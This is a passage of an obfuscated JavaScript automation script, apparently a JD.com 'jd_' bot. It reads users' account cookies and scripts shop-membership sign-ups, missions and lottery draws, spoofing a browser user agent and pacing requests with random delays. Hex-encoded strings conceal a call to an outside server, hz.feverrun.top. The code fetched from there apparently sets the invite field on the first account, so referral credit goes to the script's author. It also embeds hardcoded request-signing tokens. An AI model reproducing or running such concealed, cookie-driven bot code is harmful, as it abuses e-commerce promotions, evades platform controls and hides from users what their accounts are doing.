\x32\x37\x61\x64\x36\x66\x39\x33\x35\x64\x66\x39\x65\x3B\x33\x2E\x30\x3B","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x67\x65\x74\x53\x68\x6F\x70\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F\x26\x62\x6F\x64\x79\x3D\x25\x37\x42\x25\x32\x32\x76\x65\x6E\x64\x65\x72\x49\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32","\x25\x32\x32\x25\x32\x43\x25\x32\x32\x63\x68\x61\x6E\x6E\x65\x6C\x25\x32\x32\x25\x33\x41\x34\x30\x31\x25\x37\x44\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\u5165\u4F1A\x3A","\x76\x65\x6E\x64\x65\x72\x43\x61\x72\x64\x4E\x61\x6D\x65","\x73\x68\x6F\x70\x4D\x65\x6D\x62\x65\x72\x43\x61\x72\x64\x49\x6E\x66\x6F","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6C\x65\x4C\x69\x73\x74","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x49\x6E\x66\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x73\x6C\x69\x63\x65","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x39\x62\x63\x31\x62\x39\x38\x31\x38\x6E\x38\x75\x46\x68\x52\x38\x6B\x73\x33\x72\x79\x51\x57\x4D\x4F\x5A\x7A\x6A\x70\x44\x56\x43\x49\x4E\x4A\x4A\x48\x38\x61\x50\x30\x79\x32\x52\x57\x46\x4C\x69\x4A\x42\x6D\x4C\x6B\x33\x5A\x37\x6A\x39\x72\x68\x6D\x35\x63\x6A\x37\x44\x4E\x30\x77\x39\x6D\x49\x48\x65\x73\x71\x6F\x6D\x75\x30\x42\x34\x36\x68\x30\x68\x3B\x35\x61\x62\x35\x65\x66\x64\x35\x64\x63\x37\x63\x33\x64\x35\x32\x64\x64\x31\x39\x61\x38\x65\x61\x61\x62\x63\x37\x62\x63\x39\x39\x63\x31\x62\x39\x64\x62\x38\x30\x30\x61\x34\x32\x30\x38\x62\x61\x31\x31\x34\x32\x63\x38\x61\x37\x63\x37\x62\x66\x38\x35\x32\x65\x3B\x33\x2E\x30\x3B","\x3B\x31\x36\x39\x66\x31\x3B\x74\x6B\x30\x32\x77\x63\x30\x66\x39\x31\x63\x38\x61\x31\x38\x6E\x76\x57\x56\x4D\x47\x72\x51\x4F\x31\x69\x46\x6C\x70\x51\x72\x65\x32\x53\x68\x32\x6D\x47\x74\x4E\x72\x6F\x31\x6C\x30\x55\x70\x5A\x71\x47\x4C\x52\x62\x48\x69\x79\x71\x66\x61\x55\x51\x61\x50\x79\x36\x34\x57\x54\x37\x75\x7A\x37\x45\x2F\x67\x75\x6A\x47\x41\x42\x35\x30\x6B\x79\x4F\x37\x68\x77\x42\x79\x57\x4B\x3B\x37\x37\x63\x38\x61\x30\x35\x65\x36\x61\x36\x36\x66\x61\x65\x65\x64\x30\x30\x65\x34\x65\x32\x38\x30\x61\x64\x38\x63\x34\x30\x66\x61\x62\x36\x30\x37\x32\x33\x62\x35\x62\x35\x36\x31\x32\x33\x30\x33\x38\x30\x65\x62\x34\x30\x37\x65\x31\x39\x33\x35\x34\x66\x37\x3B\x33\x2E\x30\x3B","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x32\x36\x33\x31\x62\x66\x61\x31\x38\x6E\x68\x44\x34\x75\x62\x66\x33\x51\x66\x4E\x69\x55\x38\x45\x44\x32\x50\x49\x32\x37\x30\x79\x67\x73\x6E\x2B\x76\x61\x6D\x75\x42\x51\x68\x30\x6C\x56\x45\x36\x76\x37\x55\x41\x77\x63\x6B\x7A\x33\x73\x32\x4F\x74\x6C\x46\x45\x66\x74\x68\x35\x4C\x62\x51\x64\x57\x4F\x50\x4E\x76\x50\x45\x59\x48\x75\x55\x32\x54\x77\x3B\x30\x66\x33\x36\x64\x64\x64\x65\x66\x66\x33\x66\x38\x37\x38\x36\x36\x36\x33\x62\x35\x30\x62\x62\x33\x34\x36\x36\x35\x63\x34\x65\x39\x64\x36\x30\x38\x35\x39\x66\x38\x66\x62\x65\x38\x32\x32\x66\x62\x35\x35\x66\x64\x30\x32\x65\x64\x32\x65\x38\x34\x66\x64\x32\x3B\x33\x2E\x30\x3B","\x46\x6F\x72\x6D\x61\x74","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x48\x6F\x75\x72\x73","\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x67\x65\x74\x53\x65\x63\x6F\x6E\x64\x73","\x67\x65\x74\x44\x61\x79","\x67\x65\x74\x4D\x69\x6C\x6C\x69\x73\x65\x63\x6F\x6E\x64\x73","\x74\x65\x73\x74","\x24\x31","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x63\x6F\x6E\x63\x61\x74","\x28","\x53\x2B","\x30\x30\x30","\x30\x30","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x61\x75\x74\x68\x6F\x72\x2F\x6A\x69\x6E\x67\x67\x65\x6E\x67\x6A\x63\x71\x3F\x5F\x74\x3D","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x32\x30\x2E\x30\x3B\x20\x57\x69\x6E\x36\x34\x3B\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x43\x68\x72\x6F\x6D\x65\x2F\x31\x30\x33\x2E\x30\x2E\x30\x2E\x30\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x3F\x76\x65\x6E\x64\x65\x72\x69\x64\x3D","\x3F\x74\x79\x70\x65\x3D\x6A\x69\x6E\x67\x67\x65\x6E\x67\x6A\x63\x71","\x63\x6F\x64\x65","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const CryptoJS=require(__Oxefe75[0x0]);let cookiesArr=[],cookie=__Oxefe75[0x1];let dplh_actId=__Oxefe75[0x1];let dplh_drawNum=3;let tryNum=16;let ver1=__Oxefe75[0x2];let ver2=__Oxefe75[0x3];let url1=__Oxefe75[0x4];let url2=__Oxefe75[0x5];if($[__Oxefe75[0x6]]()){Object[__Oxefe75[0x9]](jdCookieNode)[__Oxefe75[0x8]]((_0x4432xb)=>{cookiesArr[__Oxefe75[0x7]](jdCookieNode[_0x4432xb])});if(process[__Oxefe75[0xb]][__Oxefe75[0xa]]){dplh_actId= process[__Oxefe75[0xb]][__Oxefe75[0xa]]};if(process[__Oxefe75[0xb]][__Oxefe75[0xc]]){dplh_drawNum= parseInt(process[__Oxefe75[0xb]].DPLHTY_DRAWNUM)};if(process[__Oxefe75[0xb]][__Oxefe75[0xd]]&& process[__Oxefe75[0xb]][__Oxefe75[0xd]]=== __Oxefe75[0xe]){console[__Oxefe75[0xf]]= ()=>{}}}else {cookiesArr= [$[__Oxefe75[0x12]](__Oxefe75[0x11]),$[__Oxefe75[0x12]](__Oxefe75[0x13]),...jsonParse($[__Oxefe75[0x12]](__Oxefe75[0x16])|| __Oxefe75[0x17])[__Oxefe75[0x15]]((_0x4432xb)=>{return _0x4432xb[__Oxefe75[0x14]]})][__Oxefe75[0x10]]((_0x4432xb)=>{return !!_0x4432xb})};allMessage= __Oxefe75[0x1],message= __Oxefe75[0x1];$[__Oxefe75[0x18]]= false;$[__Oxefe75[0x19]]= false;$[__Oxefe75[0x1a]]= false;$[__Oxefe75[0x1b]]= false;$[__Oxefe75[0x1c]]= false;$[__Oxefe75[0x1d]]= __Oxefe75[0x1];$[__Oxefe75[0x1e]]= 0;let lz_jdpin_token_cookie=__Oxefe75[0x1];let activityCookie=__Oxefe75[0x1];let tryBandingNum=0;let tryMissionNum=0;let flagg=false;let flag=false;!(async ()=>{if(!cookiesArr[0x0]){$[__Oxefe75[0x26]]($[__Oxefe75[0x23]],__Oxefe75[0x24],__Oxefe75[0x25],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxefe75[0x25]});return};if(!dplh_actId){console[__Oxefe75[0xf]](`${__Oxefe75[0x27]}`);console[__Oxefe75[0xf]](`${__Oxefe75[0x28]}`);return}else {console[__Oxefe75[0xf]](`${__Oxefe75[0x29]}${dplh_actId}${__Oxefe75[0x1]}`)}; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 1500+ 500,10)); await getAuthorCode(); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10));$[__Oxefe75[0x1d]]= $[__Oxefe75[0x1d]][__Oxefe75[0x2d]](__Oxefe75[0x2c],__Oxefe75[0x1]);$[__Oxefe75[0x1d]]= $[__Oxefe75[0x1d]][__Oxefe75[0x2d]](__Oxefe75[0x2e],__Oxefe75[0x2f]);$[__Oxefe75[0x30]]= `${__Oxefe75[0x1]}${$[__Oxefe75[0x1d]]}${__Oxefe75[0x1]}`;$[__Oxefe75[0x31]]= __Oxefe75[0x32];$[__Oxefe75[0x33]]= __Oxefe75[0x34];$[__Oxefe75[0x35]]= dplh_actId;$[__Oxefe75[0x36]]= __Oxefe75[0x1];for(let _0x4432x13=0;_0x4432x13< cookiesArr[__Oxefe75[0x37]];_0x4432x13++){cookie= cookiesArr[_0x4432x13];if(cookie){$[__Oxefe75[0x38]]= decodeURIComponent(cookie[__Oxefe75[0x39]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxefe75[0x39]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxefe75[0x3a]]= _0x4432x13+ 1;message= __Oxefe75[0x1];$[__Oxefe75[0x3b]]= 0;$[__Oxefe75[0x18]]= false;$[__Oxefe75[0x19]]= false;$[__Oxefe75[0x3c]]= __Oxefe75[0x1];console[__Oxefe75[0xf]](`${__Oxefe75[0x3d]}${$[__Oxefe75[0x3a]]}${__Oxefe75[0x3e]}${$[__Oxefe75[0x3c]]|| $[__Oxefe75[0x38]]}${__Oxefe75[0x3f]}`); await getUA(); await run();if(_0x4432x13== 0&& !$[__Oxefe75[0x40]]){$[__Oxefe75[0x30]]= $[__Oxefe75[0x1d]]};if($[__Oxefe75[0x19]]|| $[__Oxefe75[0x1a]]){break}; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 5500+ 2500),10)}};if($[__Oxefe75[0x19]]){let _0x4432x14=__Oxefe75[0x41];$[__Oxefe75[0x26]]($[__Oxefe75[0x23]],`${__Oxefe75[0x1]}`,`${__Oxefe75[0x1]}${_0x4432x14}${__Oxefe75[0x1]}`);if($[__Oxefe75[0x6]]()){ await notify[__Oxefe75[0x42]](`${__Oxefe75[0x1]}${$[__Oxefe75[0x23]]}${__Oxefe75[0x1]}`,`${__Oxefe75[0x1]}${_0x4432x14}${__Oxefe75[0x1]}`)}}})()[__Oxefe75[0x22]]((_0x4432x12)=>{return $[__Oxefe75[0x21]](_0x4432x12)})[__Oxefe75[0x20]](()=>{return $[__Oxefe75[0x1f]]()});async function run(){try{$[__Oxefe75[0x43]]= false;$[__Oxefe75[0x44]]= 0;lz_jdpin_token_cookie= __Oxefe75[0x1];$[__Oxefe75[0x45]]= __Oxefe75[0x1];$[__Oxefe75[0x46]]= __Oxefe75[0x1];$[__Oxefe75[0x40]]= __Oxefe75[0x1];flag= false;flagg= false;tryBandingNum= 0;tryMissionNum= 0;$[__Oxefe75[0x1b]]= false;$[__Oxefe75[0x1c]]= false;$[__Oxefe75[0x1a]]= false; await takePostRequest(__Oxefe75[0x47]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 1000),10);if($[__Oxefe75[0x45]]== __Oxefe75[0x1]){console[__Oxefe75[0xf]](__Oxefe75[0x48]);return}; await takePostRequest(__Oxefe75[0x49]);tryBandingNum= 0;while($[__Oxefe75[0x1b]]== true){tryBandingNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryBandingNum}${__Oxefe75[0x4b]}`); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x49]);if(tryBandingNum>= tryNum){break}};$[__Oxefe75[0x1b]]= false;if($[__Oxefe75[0x19]]){console[__Oxefe75[0xf]](__Oxefe75[0x4c]);return};if($[__Oxefe75[0x18]]){return};if($[__Oxefe75[0x44]]&& (Date[__Oxefe75[0x4d]]()> $[__Oxefe75[0x44]])){$[__Oxefe75[0x40]]= __Oxefe75[0x1];$[__Oxefe75[0x1a]]= true;console[__Oxefe75[0xf]](__Oxefe75[0x4e]);return};if($[__Oxefe75[0x40]]== __Oxefe75[0x1]){console[__Oxefe75[0xf]](`${__Oxefe75[0x4f]}`);return};$[__Oxefe75[0x50]]= 0; await takePostRequest(__Oxefe75[0x51]);tryBandingNum= 0;while($[__Oxefe75[0x1b]]== true){tryBandingNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryBandingNum}${__Oxefe75[0x4b]}`); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x51]);if(tryBandingNum>= tryNum){break}};$[__Oxefe75[0x1b]]= false; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x52]);tryBandingNum= 0;while($[__Oxefe75[0x1b]]== true){tryBandingNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryBandingNum}${__Oxefe75[0x4b]}`); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x52]);if(tryBandingNum>= tryNum){break}};$[__Oxefe75[0x1b]]= false;if($[__Oxefe75[0x1a]]){return};console[__Oxefe75[0xf]](`${__Oxefe75[0x53]}${$[__Oxefe75[0x54]]}${__Oxefe75[0x1]}`);console[__Oxefe75[0xf]](`${__Oxefe75[0x55]}${$[__Oxefe75[0x56]]}${__Oxefe75[0x1]}`);if($[__Oxefe75[0x56]]){console[__Oxefe75[0xf]](`${__Oxefe75[0x57]}${$[__Oxefe75[0x56]][__Oxefe75[0x37]]}${__Oxefe75[0x58]}`);for(o of $[__Oxefe75[0x56]]){flag= true;$[__Oxefe75[0x59]]= __Oxefe75[0x5a];$[__Oxefe75[0x5a]]= false;$[__Oxefe75[0x5b]]= o;console[__Oxefe75[0xf]](`${__Oxefe75[0x5c]}${o}${__Oxefe75[0x1]}`);tryMissionNum= 0; await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10));while($[__Oxefe75[0x1c]]== true){tryMissionNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryMissionNum}${__Oxefe75[0x4b]}`); await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10));if(tryMissionNum>= tryNum){break}}; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 3500+ 500,10)); await joinShop();if($[__Oxefe75[0x60]][__Oxefe75[0x5f]](__Oxefe75[0x5e])> -1|| $[__Oxefe75[0x60]][__Oxefe75[0x5f]](__Oxefe75[0x61])> -1){console[__Oxefe75[0xf]](__Oxefe75[0x62]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 1500+ 500,10)); await joinShop(); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2000+ 1000,10))};if($[__Oxefe75[0x60]][__Oxefe75[0x5f]](__Oxefe75[0x5e])> -1|| $[__Oxefe75[0x60]][__Oxefe75[0x5f]](__Oxefe75[0x61])> -1){console[__Oxefe75[0xf]](__Oxefe75[0x63]); await joinShop(); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2000+ 1000,10))};if($[__Oxefe75[0x60]][__Oxefe75[0x5f]](__Oxefe75[0x5e])> -1|| $[__Oxefe75[0x60]][__Oxefe75[0x5f]](__Oxefe75[0x61])> -1){console[__Oxefe75[0xf]](__Oxefe75[0x64]); await joinShop(); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2000+ 1000,10))}; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 500+ 500,10)); await takePostRequest(__Oxefe75[0x49]);tryBandingNum= 0;while($[__Oxefe75[0x1b]]== true){tryBandingNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryBandingNum}${__Oxefe75[0x4b]}`); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x49]);if(tryBandingNum>= tryNum){break}};$[__Oxefe75[0x1b]]= false}};$[__Oxefe75[0x5b]]= __Oxefe75[0x1];if($[__Oxefe75[0x65]]=== 0){flagg= true;tryMissionNum= 0;$[__Oxefe75[0x59]]= __Oxefe75[0x66]; await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 1000,10));while($[__Oxefe75[0x1c]]== true){tryMissionNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryMissionNum}${__Oxefe75[0x4b]}`); await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10));if(tryMissionNum>= tryNum){break}};$[__Oxefe75[0x1c]]= false}else {console[__Oxefe75[0xf]](__Oxefe75[0x67]);if(flag== true){flagg= true;tryMissionNum= 0;$[__Oxefe75[0x59]]= __Oxefe75[0x66]; await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 1000,10));while($[__Oxefe75[0x1c]]== true){tryMissionNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryMissionNum}${__Oxefe75[0x4b]}`); await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10));if(tryMissionNum>= tryNum){break}};$[__Oxefe75[0x1c]]= false}};if(flagg== true){tryMissionNum= 0;$[__Oxefe75[0x59]]= __Oxefe75[0x68]; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x5d]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10));while($[__Oxefe75[0x1c]]== true){tryMissionNum++;console[__Oxefe75[0xf]](`${__Oxefe75[0x4a]}${tryMissionNum}${__Oxefe75[0x4b]}`); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500,10)); await takePostRequest(__Oxefe75[0x5d]);if(tryMissionNum>= tryNum){break}};$[__Oxefe75[0x1c]]= false; await takePostRequest(__Oxefe75[0x49]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500),10)};$[__Oxefe75[0x69]]= true;let _0x4432x16=parseInt($[__Oxefe75[0x1e]],10)?parseInt($[__Oxefe75[0x1e]],10):3;console[__Oxefe75[0xf]](`${__Oxefe75[0x6a]}${_0x4432x16}${__Oxefe75[0x1]}`);console[__Oxefe75[0xf]](`${__Oxefe75[0x6b]}`);for(ii= 0;ii< _0x4432x16;ii++){if(parseInt(parseInt($[__Oxefe75[0x1e]],10))<= 0){break};if(parseInt(dplh_drawNum)== 0){break};console[__Oxefe75[0xf]](`${__Oxefe75[0x6c]}${ii+ 1}${__Oxefe75[0x6d]}`); await takePostRequest(__Oxefe75[0x6e]);if($[__Oxefe75[0x69]]== false){break};if(dplh_drawNum>= _0x4432x16){dplh_drawNum= _0x4432x16};if((ii+ 1)> dplh_drawNum){console[__Oxefe75[0xf]](`${__Oxefe75[0x6f]}`);break}; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 1800,10))}; await takePostRequest(__Oxefe75[0x70]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500),10); await takePostRequest(__Oxefe75[0x71]); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 500),10);console[__Oxefe75[0xf]]($.MixNick);console[__Oxefe75[0xf]](`${__Oxefe75[0x72]}${$[__Oxefe75[0x30]]}${__Oxefe75[0x1]}`);if($[__Oxefe75[0x3a]]== 1){$[__Oxefe75[0x30]]= $[__Oxefe75[0x40]];console[__Oxefe75[0xf]](`${__Oxefe75[0x73]}${$[__Oxefe75[0x30]]}${__Oxefe75[0x1]}`)}; await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 2500,10))}catch(e){console[__Oxefe75[0xf]](e)}}async function takePostRequest(_0x4432x18){if($[__Oxefe75[0x19]]){return};let _0x4432x19=__Oxefe75[0x74];let _0x4432x1a=`${__Oxefe75[0x1]}`;let _0x4432x1b=__Oxefe75[0x75];let _0x4432x1c=__Oxefe75[0x1];switch(_0x4432x18){case __Oxefe75[0x47]:url= `${__Oxefe75[0x76]}`;_0x4432x1a= await getToken();break;case __Oxefe75[0x49]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x77]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x6A\x64\x54\x6F\x6B\x65\x6E":$[__Oxefe75[0x45]],"\x73\x6F\x75\x72\x63\x65":__Oxefe75[0x78],"\x69\x6E\x76\x69\x74\x65\x4E\x69\x63\x6B":($[__Oxefe75[0x30]]|| __Oxefe75[0x1])};if($[__Oxefe75[0x5b]]){_0x4432x1c= {..._0x4432x1c,"\x73\x68\x6F\x70\x49\x64":`${__Oxefe75[0x1]}${$[__Oxefe75[0x5b]]}${__Oxefe75[0x1]}`}};_0x4432x1a= taskPostUrl(__Oxefe75[0x79],_0x4432x1c);break;case __Oxefe75[0x7c]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x7a]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {};_0x4432x1a= taskPostUrl(__Oxefe75[0x7b],_0x4432x1c);break;case __Oxefe75[0x52]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x7d]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x7e]}${$[__Oxefe75[0x33]]}${__Oxefe75[0x1]}`;_0x4432x1c= {};_0x4432x1a= taskPostUrl(__Oxefe75[0x7f],_0x4432x1c);break;case __Oxefe75[0x51]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x80]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxefe75[0x81],"\x69\x6E\x76\x69\x74\x65\x72\x4E\x69\x63\x6B":($[__Oxefe75[0x30]]|| __Oxefe75[0x1])};_0x4432x1a= taskPostUrl(__Oxefe75[0x82],_0x4432x1c);break;case __Oxefe75[0x5d]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x80]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":$[__Oxefe75[0x59]]};if($[__Oxefe75[0x5b]]){_0x4432x1c= {..._0x4432x1c,"\x73\x68\x6F\x70\x49\x64":$[__Oxefe75[0x5b]]}};_0x4432x1a= taskPostUrl(__Oxefe75[0x82],_0x4432x1c);break;case __Oxefe75[0x6e]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x83]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x64\x61\x74\x61\x54\x79\x70\x65":__Oxefe75[0x84],"\x75\x73\x65\x64\x47\x61\x6D\x65\x4E\x75\x6D":__Oxefe75[0x85]};_0x4432x1a= taskPostUrl(__Oxefe75[0x86],_0x4432x1c);break;case __Oxefe75[0x8a]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x87]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x61\x63\x74\x49\x64":$[__Oxefe75[0x35]],"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxefe75[0x88]};_0x4432x1a= taskPostUrl(__Oxefe75[0x89],_0x4432x1c);break;case __Oxefe75[0x8c]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x8b]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x61\x63\x74\x49\x64":$[__Oxefe75[0x35]],"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxefe75[0x8c]};_0x4432x1a= taskPostUrl(__Oxefe75[0x8d],_0x4432x1c);break;case __Oxefe75[0x70]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x8e]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x70\x61\x67\x65\x4E\x6F":1,"\x70\x61\x67\x65\x53\x69\x7A\x65":9999};_0x4432x1a= taskPostUrl(__Oxefe75[0x8f],_0x4432x1c);break;case __Oxefe75[0x71]:url= `${__Oxefe75[0x1]}${_0x4432x19}${__Oxefe75[0x90]}${$[__Oxefe75[0x40]]|| $[__Oxefe75[0x36]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`;_0x4432x1c= {"\x69\x6E\x76\x69\x74\x65\x4C\x69\x73\x74\x52\x65\x71\x75\x65\x73\x74":{"\x61\x63\x74\x49\x64":$[__Oxefe75[0x35]],"\x75\x73\x65\x72\x49\x64":10299171,"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxefe75[0x91],"\x69\x6E\x76\x69\x74\x65\x54\x79\x70\x65":1,"\x62\x75\x79\x65\x72\x4E\x69\x63\x6B":($[__Oxefe75[0x40]]|| __Oxefe75[0x1])}};_0x4432x1a= taskPostUrl(__Oxefe75[0x92],_0x4432x1c);break;default:console[__Oxefe75[0xf]](`${__Oxefe75[0x93]}${_0x4432x18}${__Oxefe75[0x1]}`)};let _0x4432x1d=getPostRequest(url,_0x4432x1a,_0x4432x1b); await $[__Oxefe75[0x2b]](parseInt(Math[__Oxefe75[0x2a]]()* 600+ 500,10));return new Promise(async (_0x4432x1e)=>{$[__Oxefe75[0x97]](_0x4432x1d,(_0x4432x1f,_0x4432x20,_0x4432x21)=>{try{if(_0x4432x1f){if(_0x4432x20&& _0x4432x20[__Oxefe75[0x94]]&& _0x4432x20[__Oxefe75[0x94]]== 493){console[__Oxefe75[0xf]](__Oxefe75[0x4c]);$[__Oxefe75[0x19]]= true};console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${$[__Oxefe75[0x95]](_0x4432x1f,_0x4432x1f)}${__Oxefe75[0x1]}`);console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x18}${__Oxefe75[0x96]}`);if(_0x4432x18== __Oxefe75[0x51]){$[__Oxefe75[0x1b]]= true};if(_0x4432x18== 